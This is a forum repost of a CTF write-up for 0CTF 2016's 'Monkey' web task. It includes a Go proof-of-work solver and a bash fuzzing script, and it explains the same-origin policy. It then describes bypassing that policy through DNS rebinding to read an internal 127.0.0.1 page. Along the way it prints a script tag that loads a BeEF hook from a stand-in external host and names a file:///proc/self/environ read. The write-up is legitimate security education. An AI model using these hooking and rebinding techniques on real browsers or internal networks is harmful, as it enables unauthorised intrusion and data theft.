Nytro Posted March 14, 2016 Report Share Posted March 14, 2016 0CTF 2016 Write Up: Monkey (Web 4) The Chinese 0CTF took place on March 12-13 and it was yet another fun CTF. I played with my teammates from TheGoonies and we were ranked #48. I found the Web task "Monkey" particularly interesting: I solved it with the help from my friend@danilonc, but it took way longer than it should because of some **Spoiler Alert** DNS glitches. According to the scoreboard status, approximately 35 teams were able to solve it. Task: Monkey (Web - 4pts) What is Same Origin Policy? you can test this problem on your local machinehttp://202.120.7.200 The running application receives a Proof-of-Work string and an arbitrary URL, instructing a "monkey" to browse the inputted URL for 2 minutes. Proof-of-Work Solving the proof-of-work is pretty straightforward. We had to generate random strings and compare the first 6 chars from its MD5 against the challenge. The POW challenge was more cpu-intensive than normal, so the traditional bash/python one-liner ctf scripts would require some performance improvements.@danilonc had written a quick hack using Go to bruteforce and solve POW from older CTF challs, so we just slightly modified it: package main import ( "fmt" "os" "crypto/md5" "math/rand" "time" "encoding/hex" "strings" ) var letters = []rune("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789=/+") func randSeq(n int) string { b := make([]rune, n) for i := range b { b = letters[rand.Intn(len(letters))] } return string(b) } func main() { //warning - don't try this at home //OWASP kills a panda every time you seed random with timepstamps rand.Seed(time.Now().UnixNano()) //argument from cmdline prefix := os.Args[1] //generate md5 from random strings for { attemp := randSeq(8) hash := md5.New() hash.Write([]byte(attemp)) hashString := hex.EncodeToString(hash.Sum(nil)) //compare the cmdline input with the md5 prefix if strings.HasPrefix(hashString,prefix){ fmt.Printf("%s\n",attemp) break } } } view rawpow.go hosted with ❤ by GitHub Solving the Proof-of-Work: Same-Origin-Policy and CORS The Same-Origin-Policy (SOP) deems pages having the same URI scheme, hostname and port as residing at the same-origin. If any of these three attributes varies, the resource is in a different origin. Hence, if provided resources come from the same hostname, scheme and port, they can interact without restriction. If you try to use an XMLHttpRequest to send a request to a different origin, you can’t read the response. However, the request will still arrive at its destination. This policy prevents a malicious script on one page from obtaining access to sensitive data (both the header and the body) on another web page, on a different origin. For this particular CTF challenge, if the secret internal webpage had had an insecure CORS header like this "Access-Control-Allow-Origin: *", we would be able to retrieve its data with no effort. This, of course, was not the case. Bypassing the Same-Origin The flag was accessible on an internal webserver hosted at http://127.0.0.1:8080/secret. The first thing we did was hooking the monkey's browser using BeEF, so we could fingerprint his device, platform, plugins and components. There was nothing interesting here, a custom user-agent and no known vulnerable component. We enumerated the chars accepted by the server with the following script: #!/bin/bash for (( j=0 ; j<=0xFF ; j++ )) ; do i=$(printf '%%%X\n' $j) echo -n "$i"" " page=$(curl -s -D - http://202.120.7.200) session=$(echo "$page" | grep Cookie | cut -d" " -f2 | cut -d";" -f1) challenge=$(echo $page | grep substr | cut -d\' -f2) string=$(go run pow.go "$challenge") curl -i -s -k -X 'POST' \ -b "$session" \ --data-binary $"task="$string"&url="$i"" \ 'http://202.120.7.200/run.php' | tail -n1 echo done view rawtest-chars.sh hosted with ❤ by GitHub Unfortunately, the server was rejecting special chars like spaces (%20 and +) and there was no command injection signal. Our evil plan to input --disable-web-security $URL to disable Chrome's SOP didn't work so we had to find new ways to retrieve the secrets. We also thought about using data:uri and file schemes to load a malicious script/webpage, but it wouldn't help us to bypass the SOP. We tried to input URL's like <html><script/**/src='http://www.example.com:8000/hook.js'></script></html> andfile:///proc/self/environ (setting custom headers with a malicious HTML), but that is also known not to work on modern browsers. DNS Rebinding After some discussion, we came to the conclusion that we needed to perform a DNS Rebinding attack.devttys0 presented about this class of vulnerabilities at DEFCON 18 and @mikispag recently wrote a detailed post describing how to use DNS rebinding to steal WiFi passwords. DNS rebinding is a technique that can be used to perform a breach of same-origin restrictions, enabling a malicious website to interact with a different domain. The possibility of this attack arises because the segregations in the SOP are based primarily on domain name and port, whereas the ultimate delivery of HTTP requests involves converting domain names into IP addresses. We had some issues at first because we tried to use the free DNS service from DuckDNS and it was very glitchy. For some obscure reason, we were unable to hook the user's browser when using the service. In order to make our life miserable, the challenge monkey would browse the site for two minutes only: we also could't use the DNS services from Namecheap because the minimum TTL time is 60 seconds. Attack Phase After deciding to set up the DNS server on our own, we came with the following attack scenario: 1) User visits the beef hook page at http://ctf.example.com:8080 (IP 1.2.3.4). 2) Webpage will load BeEF javascript hook and his browser will become a zombie. 3) We perform a DNS Rebind to change the A Record from 1.2.3.4 to 127.0.0.1. @danilonc set the BIND Zone file with a low TTL (1 sec) and replaced the answer (lines 14-15) as soon as the browser got hooked. 4) Perform a CORS request using BeeF's "Test CORS Request" module. Here's a small diagram of the attack: After a couple of tries we finally managed to get the flag: Flag: 0ctf{monkey_likes_banananananananaaaa} Posted by Bernardo Rodrigues at 9:01 PM Sursa: https://w00tsec.blogspot.ro/2016/03/0ctf-2016-write-up-monkey-web-4.html 1 Quote Link to comment Share on other sites More sharing options...